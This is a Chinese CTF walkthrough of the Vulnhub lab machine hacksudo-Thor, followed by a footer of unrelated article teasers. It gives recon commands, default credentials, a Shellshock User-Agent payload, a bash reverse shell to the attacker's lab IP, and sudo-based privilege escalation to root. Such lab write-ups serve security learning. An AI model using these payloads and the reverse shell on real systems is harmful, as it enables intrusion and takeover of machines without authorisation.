Vulnhub靶机:hacksudo-Thor

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo-Thor(10.0.2.49)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hacksudo—Thor.zip

二、信息收集

使用nmap主机发现靶机ip:10.0.2.49

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:21、22、80

在这里插入图片描述

打开网站发现是一个登录页面

在这里插入图片描述

使用gobuster和dirsearch工具对该网站进行目录爆破,发现两个页面/admin_login.php、/README.md

gobuster dir -u http://10.0.2.49 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

dirsearch -u http://10.0.2.49 /usr/share/wordlists/dirb/big.txt

在这里插入图片描述
在这里插入图片描述

/README.md文件发现默认用户名密码:admin:password123

在这里插入图片描述

我们尝试登录后台,登录成功

在这里插入图片描述

三、漏洞利用

在后台发现一些用户名密码,可以尝试登录ssh,但都失败

jon:snow123
zakee94:nafees123
salman:salman123
tushar:tushar123

网站的后台未发现文件上传或命令执行的功能点,尝试抓包,使用sqlmap把数据交互的地方都跑一遍,发现在搜索客户的功能点处存在sql时间盲注

在这里插入图片描述
在这里插入图片描述

但翻了一翻数据库未发现什么有用的信息

好吧,看了一下其他大佬的wp,该网站存在破壳漏洞,这个漏洞还没有遇到过

破壳漏洞成因:bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等。

使用dirsearch工具扫描cgi和sh后缀的文件

dirsearch -u http://10.0.2.49/cgi-bin/ -f -e cgi,sh

在这里插入图片描述

发现/cgi-bin/backup.cgi/cgi-bin/shell.sh

使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 10.0.2.49

在这里插入图片描述

使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞

nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 10.0.2.49

在这里插入图片描述

在User-Agent添加破壳漏洞的payload,执行命令

() { test;};echo; echo shellshock;/bin/bash -c 'id'

在这里插入图片描述

反弹shell

() { test;};echo; echo shellshock;/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'

在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

四、提权

登录虚拟终端后,sudo -l查看一下具有sudo权限的程序,发现可以无密码以thor权限运行hammer.sh脚本在这里插入图片描述

运行/home/thor/./hammer.sh脚本,发现输入shell命令,该脚本会直接执行

sudo -u thor /home/thor/./hammer.sh

在这里插入图片描述

直接获取thor用户的shell

bash -p
python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

使用sudo -l命令查看一下thor用户具有sudo权限的程序,发现可以无密码以root权限运行cat命令和service命令

在这里插入图片描述

搜索这些命令的用法service | GTFOBins,发现service命令可以直接获取shell

sudo service ../../bin/sh

在这里插入图片描述

获取flag

在这里插入图片描述
在这里插入图片描述

参考链接:vulnhub靶场-hacksudo - Thor_靶机信息:39.104.60.50:18634-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/380860.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

[每周一更]-(第86期):PostgreSQL入门学习和对比MySQL

入门学习PostgreSQL可以遵循以下步骤: 安装 PostgreSQL: 首先,你需要在你的计算机上安装 PostgreSQL。你可以从 PostgreSQL 官方网站 下载适合你操作系统的安装包,并按照官方文档的指导进行安装。 学习 SQL: PostgreS…

【动态规划】【C++算法】LeetCoce996正方形数组的数目

作者推荐 【动态规划】【前缀和】【C算法】LCP 57. 打地鼠 本文涉及知识点 动态规划汇总 LeetCoce996正方形数组的数目 给定一个非负整数数组 A,如果该数组每对相邻元素之和是一个完全平方数,则称这一数组为正方形数组。 返回 A 的正方形排列的数目…

Electron基本介绍

Electron基本介绍 Electron 官方网站:https://www.electronjs.org/zh/ Electron安装方法:npm install electron -g 全局安装 Electron简介:Electron提供了丰富的本地(操作系统)API,使你能够使用纯JavaScr…

图解 V8 执行 JS 的过程

本文来分享 V8 引擎执行 JavaScript 的过程 1. JS 代码执行过程 在说V8的执行JavaScript代码的机制之前,我们先来看看编译型和解释型语言的区别。 编译型语言和解释型语言 我们知道,机器是不能直接理解代码的。所以,在执行程序之前&#xf…

3.1 Verilog 连续赋值

关键词:assign, 全加器 连续赋值语句是 Verilog 数据流建模的基本语句,用于对 wire 型变量进行赋值。: 格式如下 assign LHS_target RHS_expression ; LHS(left hand side) 指赋值操作…

系统架构24 - 软件架构设计(3)

软件架构风格(上) 概述架构风格数据流架构风格批处理风格管道-过滤风格 调用/返回架构风格主程序/子程序风格面向对象风格层次结构风格客户端/服务器风格 以数据为中心的架构风格仓库风格黑板风格 虚拟机架构风格解释器风格规则系统风格 独立构件架构风格…

Android矩阵Matrix动画缩放Bitmap移动手指触点到ImageView中心位置,Kotlin

Android矩阵Matrix动画缩放Bitmap移动手指触点到ImageView中心位置,Kotlin 借鉴 Android双指缩放ScaleGestureDetector检测放大因子大图移动到双指中心点ImageView区域中心,Kotlin(2)-CSDN博客 在此基础上实现手指在屏幕上点击后&…

leetcode 3027. 人员站位的方案数 II【离散化前缀和+枚举】

原题链接:3027. 人员站位的方案数 II 题目描述: 给你一个 n x 2 的二维数组 points ,它表示二维平面上的一些点坐标,其中 points[i] [xi, yi] 。 我们定义 x 轴的正方向为 右 (x 轴递增的方向)&#x…

Dynamo批量处理多个Revit文件?

Hello大家好!我是九哥~ 最近很多小伙伴都在咨询Dynamo如何批量处理多个Revit文件,之前写过一篇《Dynamo批量修改多文件项目基点参数》,利用的是后台打开Revit的方式,可以实现一些批量操作的功能。 但是这个方法,对于一…

牛客网SQL进阶114:更新记录

官网链接: 更新记录(二)_牛客题霸_牛客网现有一张试卷作答记录表exam_record,其中包含多年来的用户作答试卷记录,结构如下表。题目来自【牛客题霸】https://www.nowcoder.com/practice/0c2e81c6b62e4a0f848fa7693291d…

【Effective Objective - C 2.0】——读书笔记(一)

文章目录 前言一、了解Objective-C语言的起源OC的起源运行期组件和内存管理 二、在类的头文件中尽量少引入其他头文件尽量延后引入头文件或者单独开辟一个文件向前声明 三、多用字面量语法,少用与之等价的方法四、多用类型常量,少用#define预处理指令五、…

如何在 Mac 上恢复永久删除的文件:有效方法

您是否错误地从 Mac 中删除了某个文件,并且确信它已经永远消失了?好吧,你可能错了。即使您认为已永久删除计算机上的数据,仍有可能将其恢复。 在本文中,您将了解如何在 Mac 上恢复永久删除的文件,并了解增…

【开源】JAVA+Vue+SpringBoot实现班级考勤管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 系统基础支持模块2.2 班级学生教师支持模块2.3 考勤签到管理2.4 学生请假管理 三、系统设计3.1 功能设计3.1.1 系统基础支持模块3.1.2 班级学生教师档案模块3.1.3 考勤签到管理模块3.1.4 学生请假管理模块 3.2 数据库设…

ThinkPad X201 经典小黑 折腾玩

前段时间,在折腾ThinkPad T430时,偶然看到了ThinkPad X200,一个12.1英寸的高端便携小本。 想当年,但那是总裁级别才能用的,应该是接近2万元,我们是一直用DELL的。 没想到的是,在海鲜市场上&am…

【Makefile语法 01】程序编译与执行

目录 一、编译原理概述 二、编译过程分析 三、编译动静态库 四、执行过程分析 一、编译原理概述 make: 一个GCC工具程序,它会读 makefile 脚本来确定程序中的哪个部分需要编译和连接,然后发布必要的命令。它读出的脚本(叫做 …

Java异常的处理 try-catch-finally

目录 什么是异常通过if-else处理异常用if-else堵漏洞的缺点 try-catch例第一种处理第二种处理第三种处理第四种处理 try-catch-finally例 System.exit(0);//终止当前的虚拟机执行 什么是异常 Exception:在程序的运行过程中,发生了不正常的现象&#xff0…

【Larry】英语学习笔记语法篇——换一种方式理解词性

目录 一、换一种方式理解词性 1、名词、形容词、副词,这就是一切 2、词性之间的修饰关系 3、介词其实很简单 形容词属性的介词短语 副词属性的介词短语 ①修饰动词 ②修饰形容词 ③修饰其他副词 一、换一种方式理解词性 1、名词、形容词、副词&#xff0c…

Mysql Day03

多表设计 一对多 在多的一方添加外键约束,关联另外一方主键 一对一 任意一方添加外键约束,关联另外一方主键 多对多 建立第三张中间表,中间表至少包含两个外键,分别关联两方主键 idstu_idcourse_id 1 11 2 12313421524 案…

【Linux】构建模块

🔥博客主页:PannLZ 🎋系列专栏:《Linux系统之路》 🥊不要让自己再留有遗憾,加油吧! 文章目录 构建第一个模块1模块的makefile2内核树内构建3内核树外构建 构建第一个模块 可以在两个地方构建模…

C++——二叉树

引入 map和set特性需要先铺垫二叉搜索树,而二叉搜索树也是一种树形结构 二叉搜索树的特性了解,有助于更好的理解map和set的特性 1.二叉搜索树的概念及优缺点 1.1二叉搜索树的概念 二叉搜索树又称二叉排序树,它或者是一棵空树,或…
最新文章